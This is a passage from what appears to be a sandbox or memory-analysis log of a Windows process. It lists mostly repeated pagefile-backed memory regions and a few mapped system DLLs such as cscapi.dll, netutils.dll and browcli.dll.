0x2c7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000002c0000" filename = "" Region: id = 1072 start_va = 0x2c0000 end_va = 0x2c7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000002c0000" filename = "" Region: id = 1073 start_va = 0x2c0000 end_va = 0x2c7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000002c0000" filename = "" Region: id = 1074 start_va = 0x2c0000 end_va = 0x2c7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000002c0000" filename = "" Region: id = 1075 start_va = 0x2c0000 end_va = 0x2c7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000002c0000" filename = "" Region: id = 1076 start_va = 0x2c0000 end_va = 0x2c7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000002c0000" filename = "" Region: id = 1077 start_va = 0x2c0000 end_va = 0x2c7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000002c0000" filename = "" Region: id = 1078 start_va = 0x75280000 end_va = 0x7528afff entry_point = 0x75280000 region_type = mapped_file name = "cscapi.dll" filename = "\\Windows\\SysWOW64\\cscapi.dll" (normalized: "c:\\windows\\syswow64\\cscapi.dll") Region: id = 1109 start_va = 0x2c0000 end_va = 0x2cffff entry_point = 0x0 region_type = private name = "private_0x00000000002c0000" filename = "" Region: id = 1110 start_va = 0x2d0000 end_va = 0x2d7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000002d0000" filename = "" Region: id = 1111 start_va = 0x2c0000 end_va = 0x2c7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000002c0000" filename = "" Region: id = 1112 start_va = 0x2c0000 end_va = 0x2c7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000002c0000" filename = "" Region: id = 1113 start_va = 0x2c0000 end_va = 0x2c7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000002c0000" filename = "" Region: id = 1114 start_va = 0x2c0000 end_va = 0x2c7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000002c0000" filename = "" Region: id = 1115 start_va = 0x2c0000 end_va = 0x2c7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000002c0000" filename = "" Region: id = 1116 start_va = 0x2c0000 end_va = 0x2c7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000002c0000" filename = "" Region: id = 1117 start_va = 0x2c0000 end_va = 0x2c7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000002c0000" filename = "" Region: id = 1118 start_va = 0x2c0000 end_va = 0x2c7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000002c0000" filename = "" Region: id = 1119 start_va = 0x2c0000 end_va = 0x2c7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000002c0000" filename = "" Region: id = 1120 start_va = 0x2c0000 end_va = 0x2c7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000002c0000" filename = "" Region: id = 1121 start_va = 0x2c0000 end_va = 0x2c7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000002c0000" filename = "" Region: id = 1122 start_va = 0x2c0000 end_va = 0x2c7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000002c0000" filename = "" Region: id = 1123 start_va = 0x2c0000 end_va = 0x2c7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000002c0000" filename = "" Region: id = 1124 start_va = 0x2c0000 end_va = 0x2c7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000002c0000" filename = "" Region: id = 1125 start_va = 0x2c0000 end_va = 0x2c7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000002c0000" filename = "" Region: id = 1126 start_va = 0x2c0000 end_va = 0x2c7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000002c0000" filename = "" Region: id = 1127 start_va = 0x2c0000 end_va = 0x2c7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000002c0000" filename = "" Region: id = 1128 start_va = 0x2c0000 end_va = 0x2c7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000002c0000" filename = "" Region: id = 1129 start_va = 0x2c0000 end_va = 0x2c7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000002c0000" filename = "" Region: id = 1130 start_va = 0x2c0000 end_va = 0x2c7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000002c0000" filename = "" Region: id = 1131 start_va = 0x2c0000 end_va = 0x2c7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000002c0000" filename = "" Region: id = 1132 start_va = 0x2c0000 end_va = 0x2c7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000002c0000" filename = "" Region: id = 1133 start_va = 0x2c0000 end_va = 0x2c7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000002c0000" filename = "" Region: id = 1134 start_va = 0x2c0000 end_va = 0x2c7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000002c0000" filename = "" Region: id = 1135 start_va = 0x2c0000 end_va = 0x2c7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000002c0000" filename = "" Region: id = 1136 start_va = 0x2c0000 end_va = 0x2c7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000002c0000" filename = "" Region: id = 1137 start_va = 0x2c0000 end_va = 0x2c7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000002c0000" filename = "" Region: id = 1138 start_va = 0x2c0000 end_va = 0x2c7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000002c0000" filename = "" Region: id = 1139 start_va = 0x2c0000 end_va = 0x2c7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000002c0000" filename = "" Region: id = 1140 start_va = 0x2c0000 end_va = 0x2c7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000002c0000" filename = "" Region: id = 1141 start_va = 0x2c0000 end_va = 0x2c7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000002c0000" filename = "" Region: id = 1142 start_va = 0x2c0000 end_va = 0x2c7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000002c0000" filename = "" Region: id = 1143 start_va = 0x2c0000 end_va = 0x2c7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000002c0000" filename = "" Region: id = 1144 start_va = 0x2c0000 end_va = 0x2c7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000002c0000" filename = "" Region: id = 1145 start_va = 0x2c0000 end_va = 0x2c7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000002c0000" filename = "" Region: id = 1146 start_va = 0x2c0000 end_va = 0x2c7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000002c0000" filename = "" Region: id = 1147 start_va = 0x2c0000 end_va = 0x2c7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000002c0000" filename = "" Region: id = 1148 start_va = 0x2c0000 end_va = 0x2c7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000002c0000" filename = "" Region: id = 1149 start_va = 0x2c0000 end_va = 0x2c7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000002c0000" filename = "" Region: id = 1150 start_va = 0x2c0000 end_va = 0x2c7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000002c0000" filename = "" Region: id = 1151 start_va = 0x2c0000 end_va = 0x2c7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000002c0000" filename = "" Region: id = 1152 start_va = 0x2c0000 end_va = 0x2c7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000002c0000" filename = "" Region: id = 1153 start_va = 0x2c0000 end_va = 0x2c7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000002c0000" filename = "" Region: id = 1154 start_va = 0x2c0000 end_va = 0x2c7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000002c0000" filename = "" Region: id = 1155 start_va = 0x2c0000 end_va = 0x2c7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000002c0000" filename = "" Region: id = 1156 start_va = 0x2c0000 end_va = 0x2c7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000002c0000" filename = "" Region: id = 1157 start_va = 0x2c0000 end_va = 0x2c7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000002c0000" filename = "" Region: id = 1158 start_va = 0x2c0000 end_va = 0x2c7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000002c0000" filename = "" Region: id = 1159 start_va = 0x2c0000 end_va = 0x2c7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000002c0000" filename = "" Region: id = 1160 start_va = 0x2c0000 end_va = 0x2c7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000002c0000" filename = "" Region: id = 1161 start_va = 0x2c0000 end_va = 0x2c7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000002c0000" filename = "" Region: id = 1162 start_va = 0x2c0000 end_va = 0x2c7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000002c0000" filename = "" Region: id = 1163 start_va = 0x2c0000 end_va = 0x2c7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000002c0000" filename = "" Region: id = 1164 start_va = 0x2c0000 end_va = 0x2c7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000002c0000" filename = "" Region: id = 1165 start_va = 0x2c0000 end_va = 0x2c7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000002c0000" filename = "" Region: id = 1166 start_va = 0x75270000 end_va = 0x75278fff entry_point = 0x75270000 region_type = mapped_file name = "netutils.dll" filename = "\\Windows\\SysWOW64\\netutils.dll" (normalized: "c:\\windows\\syswow64\\netutils.dll") Region: id = 1167 start_va = 0x2c0000 end_va = 0x2cffff entry_point = 0x0 region_type = private name = "private_0x00000000002c0000" filename = "" Region: id = 1168 start_va = 0x2d0000 end_va = 0x2d7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000002d0000" filename = "" Region: id = 1169 start_va = 0x2c0000 end_va = 0x2c7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000002c0000" filename = "" Region: id = 1170 start_va = 0x2c0000 end_va = 0x2c7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000002c0000" filename = "" Region: id = 1171 start_va = 0x2c0000 end_va = 0x2c7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000002c0000" filename = "" Region: id = 1172 start_va = 0x2c0000 end_va = 0x2c7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000002c0000" filename = "" Region: id = 1173 start_va = 0x2c0000 end_va = 0x2c7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000002c0000" filename = "" Region: id = 1174 start_va = 0x2c0000 end_va = 0x2c7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000002c0000" filename = "" Region: id = 1175 start_va = 0x2c0000 end_va = 0x2c7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000002c0000" filename = "" Region: id = 1176 start_va = 0x2c0000 end_va = 0x2c7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000002c0000" filename = "" Region: id = 1177 start_va = 0x2c0000 end_va = 0x2c7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000002c0000" filename = "" Region: id = 1178 start_va = 0x2c0000 end_va = 0x2c7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000002c0000" filename = "" Region: id = 1179 start_va = 0x2c0000 end_va = 0x2c7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000002c0000" filename = "" Region: id = 1180 start_va = 0x2c0000 end_va = 0x2c7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000002c0000" filename = "" Region: id = 1181 start_va = 0x2c0000 end_va = 0x2c7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000002c0000" filename = "" Region: id = 1182 start_va = 0x2c0000 end_va = 0x2c7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000002c0000" filename = "" Region: id = 1183 start_va = 0x2c0000 end_va = 0x2c7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000002c0000" filename = "" Region: id = 1184 start_va = 0x2c0000 end_va = 0x2c7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000002c0000" filename = "" Region: id = 1185 start_va = 0x2c0000 end_va = 0x2c7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000002c0000" filename = "" Region: id = 1186 start_va = 0x2c0000 end_va = 0x2c7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000002c0000" filename = "" Region: id = 1187 start_va = 0x2c0000 end_va = 0x2c7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000002c0000" filename = "" Region: id = 1188 start_va = 0x2c0000 end_va = 0x2c7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000002c0000" filename = "" Region: id = 1189 start_va = 0x2c0000 end_va = 0x2c7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000002c0000" filename = "" Region: id = 1190 start_va = 0x2c0000 end_va = 0x2c7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000002c0000" filename = "" Region: id = 1191 start_va = 0x2c0000 end_va = 0x2c7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000002c0000" filename = "" Region: id = 1192 start_va = 0x2c0000 end_va = 0x2c7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000002c0000" filename = "" Region: id = 1193 start_va = 0x2c0000 end_va = 0x2c7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000002c0000" filename = "" Region: id = 1194 start_va = 0x2c0000 end_va = 0x2c7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000002c0000" filename = "" Region: id = 1195 start_va = 0x2c0000 end_va = 0x2c7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000002c0000" filename = "" Region: id = 1196 start_va = 0x2c0000 end_va = 0x2c7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000002c0000" filename = "" Region: id = 1197 start_va = 0x2c0000 end_va = 0x2c7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000002c0000" filename = "" Region: id = 1198 start_va = 0x2c0000 end_va = 0x2c7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000002c0000" filename = "" Region: id = 1199 start_va = 0x2c0000 end_va = 0x2c7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000002c0000" filename = "" Region: id = 1200 start_va = 0x2c0000 end_va = 0x2c7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000002c0000" filename = "" Region: id = 1201 start_va = 0x2c0000 end_va = 0x2c7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000002c0000" filename = "" Region: id = 1202 start_va = 0x2c0000 end_va = 0x2c7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000002c0000" filename = "" Region: id = 1203 start_va = 0x2c0000 end_va = 0x2c7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000002c0000" filename = "" Region: id = 1204 start_va = 0x2c0000 end_va = 0x2c7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000002c0000" filename = "" Region: id = 1205 start_va = 0x2c0000 end_va = 0x2c7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000002c0000" filename = "" Region: id = 1206 start_va = 0x2c0000 end_va = 0x2c7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000002c0000" filename = "" Region: id = 1207 start_va = 0x2c0000 end_va = 0x2c7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000002c0000" filename = "" Region: id = 1208 start_va = 0x2c0000 end_va = 0x2c7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000002c0000" filename = "" Region: id = 1209 start_va = 0x2c0000 end_va = 0x2c7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000002c0000" filename = "" Region: id = 1210 start_va = 0x2c0000 end_va = 0x2c7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000002c0000" filename = "" Region: id = 1211 start_va = 0x2c0000 end_va = 0x2c7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000002c0000" filename = "" Region: id = 1212 start_va = 0x2c0000 end_va = 0x2c7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000002c0000" filename = "" Region: id = 1213 start_va = 0x2c0000 end_va = 0x2c7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000002c0000" filename = "" Region: id = 1214 start_va = 0x2c0000 end_va = 0x2c7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000002c0000" filename = "" Region: id = 1215 start_va = 0x2c0000 end_va = 0x2c7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000002c0000" filename = "" Region: id = 1216 start_va = 0x2c0000 end_va = 0x2c7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000002c0000" filename = "" Region: id = 1218 start_va = 0x2c0000 end_va = 0x2c7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000002c0000" filename = "" Region: id = 1219 start_va = 0x2c0000 end_va = 0x2c7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000002c0000" filename = "" Region: id = 1220 start_va = 0x2c0000 end_va = 0x2c7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000002c0000" filename = "" Region: id = 1221 start_va = 0x2c0000 end_va = 0x2c7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000002c0000" filename = "" Region: id = 1222 start_va = 0x2c0000 end_va = 0x2c7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000002c0000" filename = "" Region: id = 1223 start_va = 0x2c0000 end_va = 0x2c7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000002c0000" filename = "" Region: id = 1224 start_va = 0x2c0000 end_va = 0x2c7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000002c0000" filename = "" Region: id = 1225 start_va = 0x75260000 end_va = 0x7526cfff entry_point = 0x75260000 region_type = mapped_file name = "browcli.dll" filename = "\\Windows\\SysWOW64\\browcli.dll" (normalized: "c:\\windows\\syswow64\\browcli.dll") Region: id = 1238 start_va = 0x2c0000 end_va = 0x2cffff entry_point = 0x0 region_type = private name = "private_0x00000000002c0000" filename = "" Region: id = 1239 start_va = 0x2d0000 end_va = 0x2d7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000002d0000" filename = "" Region: id = 1240 start_va = 0x2c0000 end_va = 0x2c7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000002c0000" filename = "" Region: id = 1241 start_va = 0x2c0000 end_va = 0x2c7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000002c0000" filename = "" Region: id = 1242 start_va = 0x2c0000 end_va = 0x2c7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000002c0000" filename = "" Region: id = 1243 start_va = 0x2c0000 end_va = 0x2c7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000002c0000" filename = "" Region: id = 1244 start_va = 0x2c0000 end_va = 0x2c7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000002c0000" filename = "" Region: id = 1245 start_va = 0x2c0000 end_va = 0x2c7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000002c0000" filename = "" Region: id = 1246 start_va = 0x2c0000 end_va = 0x2c7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000002c0000" filename = "" Region: id = 1247 start_va = 0x2c0000 end_va = 0x2c7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000002c0000" filename = "" Region: id = 1248 start_va = 0x2c0000 end_va = 0x2c7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000002c0000" filename = "" Region: id = 1249 start_va = 0x2c0000 end_va = 0x2c7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000002c0000" filename = "" Region: id = 1250 start_va = 0x2c0000 end_va = 0x2c7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000002c0000" filename = "" Region: id = 1251 start_va = 0x2c0000 end_va = 0x2c7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000002c0000" filename = "" Region: id = 1252 start_va = 0x2c0000 end_va = 0x2c7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000002c0000" filename = "" Region: id = 1253 start_va = 0x2c0000 end_va = 0x2c7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000002c0000" filename = "" Region: id = 1254 start_va = 0x2c0000 end_va = 0x2c7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000002c0000" filename = "" Region: id = 1255 start_va = 0x2c0000 end_va = 0x2c7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000002c0000" filename = "" Region: id = 1256 start_va = 0x2c0000 end_va = 0x2c7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000002c0000" filename = "" Region: id = 1257 start_va = 0x2c0000 end_va = 0x2c7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000002c0000" filename = "" Region: id = 1258 start_va = 0x2c0000 end_va = 0x2c7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000002c0000" filename = "" Region: id = 1259 start_va = 0x2c0000 end_va = 0x2c7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000002c0000" filename = "" Region: id = 1260 start_va = 0x2c0000 end_va = 0x2c7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000002c0000" filename = "" Region: id = 1261 start_va = 0x2c0000 end_va = 0x2c7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000002c0000" filename = "" Region: id = 1262 start_va = 0x2c0000 end_va = 0x2c7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000002c0000" filename = "" Region: id = 1263 start_va = 0x2c0000 end_va = 0x2c7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000002c0000" filename = "" Region: id = 1264 start_va = 0x2c0000 end_va = 0x2c7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000002c0000" filename = "" Region: id = 1265 start_va = 0x2c0000 end_va = 0x2c7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000002c0000" filename = "" Region: id = 1266 start_va = 0x2c0000 end_va = 0x2c7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000002c0000" filename = "" Region: id = 1267 start_va = 0x2c0000 end_va = 0x2c7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000002c0000" filename = "" Region: id = 1268 start_va = 0x2c0000 end_va = 0x2c7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000002c0000" filename = "" Region: id = 1269 start_va = 0x2c0000 end_va = 0x2c7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000002c0000" filename = "" Region: id = 1270 start_va = 0x2c0000 end_va = 0x2c7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000002c0000" filename = "" Region: id = 1271 start_va = 0x2c0000 end_va = 0x2c7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000002c0000" filename = "" Region: id = 1272 start_va = 0x2c0000 end_va = 0x2c7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000002c0000" filename = "" Region: id = 1273 start_va = 0x2c0000 end_va = 0x2c7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000002c0000" filename = "" Region: id = 1274 start_va = 0x2c0000 end_va = 0x2c7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000002c0000" filename = "" Region: id = 1275 start_va = 0x2c0000 end_va = 0x2c7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000002c0000" filename = "" Region: id = 1276 start_va = 0x2c0000 end_va = 0x2c7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000002c0000" filename = "" Region: id = 1277 start_va = 0x2c0000 end_va = 0x2c7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000002c0000" filename = "" Region: id = 1278 start_va = 0x2c0000 end_va = 0x2c7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000002c0000" filename = "" Region: id = 1279 start_va = 0x2c0000 end_va = 0x2c7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000002c0000" filename = "" Region: id = 1280 start_va = 0x2c0000 end_va = 0x2c7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000002c0000" filename = "" Region: id = 1281 start_va = 0x2c0000 end_va = 0x2c7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000002c0000" filename = "" Region: id = 1282 start_va = 0x2c0000 end_va = 0x2c7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000002c0000" filename = "" Region: id = 1283 start_va = 0x2c0000 end_va = 0x2c7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000002c0000" filename = "" Region: id = 1284 start_va = 0x2c0000 end_va = 0x2c7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000002c0000" filename = "" Region: id = 1285 start_va = 0x2c0000 end_va = 0x2c7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000002c0000" filename = "" Region: id = 1286 start_va = 0x2c0000 end_va = 0x2c7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000002c0000" filename = "" Region: id = 1287 start_va = 0x2c0000 end_va = 0x2c7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000002c0000" filename = "" Region: id = 1288 start_va = 0x2c0000 end_va = 0x2c7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000002c0000" filename = "" Region: id = 1289 start_va = 0x2c0000 end_va = 0x2c7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000002c0000" filename = "" Region: id = 1290 start_va = 0x2c0000 end_va = 0x2c7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000002c0000" filename = "" Region: id = 1291 start_va = 0x2c0000 end_va = 0x2c7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000002c0000" filename = "" Region: id = 1292 start_va = 0x2c0000 end_va = 0x2c7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000002c0000" filename = "" Region: id = 1293 start_va = 0x2c0000 end_va = 0x2c7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000002c0000" filename = "" Region: id = 1294 start_va = 0x2c0000 end_va = 0x2c7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000002c0000" filename = "" Region: id = 1295 start_va = 0x42a0000 end_va = 0x4320fff entry_point = 0x0 region_type = private name = "private_0x00000000042a0000" filename = "" Region: id = 1296 start_va = 0x2c0000 end_va = 0x2cffff entry_point = 0x0 region_type = private name = "private_0x00000000002c0000" filename = "" Region: id = 1297 start_va = 0x2d0000 end_va = 0x2d7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000002d0000" filename = "" Region: id = 1298 start_va = 0x2c0000 end_va = 0x2c7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000002c0000" filename = "" Region: id = 1299 start_va = 0x2c0000 end_va = 0x2c7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000002c0000" filename = "" Region: id = 1300 start_va = 0x2c0000 end_va = 0x2c7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000002c0000" filename = "" Region: id = 1301 start_va = 0x2c0000 end_va = 0x2c7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000002c0000" filename = "" Region: id = 1302 start_va = 0x2c0000 end_va = 0x2c7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000002c0000" filename = "" Region: id = 1303 start_va = 0x2c0000 end_va = 0x2c7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000002c0000" filename = "" Region: id = 1304 start_va = 0x2c0000 end_va = 0x2c7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000002c0000" filename = "" Region: id = 1305 start_va = 0x2c0000 end_va = 0x2c7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000002c0000" filename = "" Region: id = 1306 start_va = 0x2c0000 end_va = 0x2c7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000002c0000" filename = "" Region: id = 1307 start_va = 0x2c0000 end_va = 0x2c7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000002c0000" filename = "" Region: id = 1308 start_va = 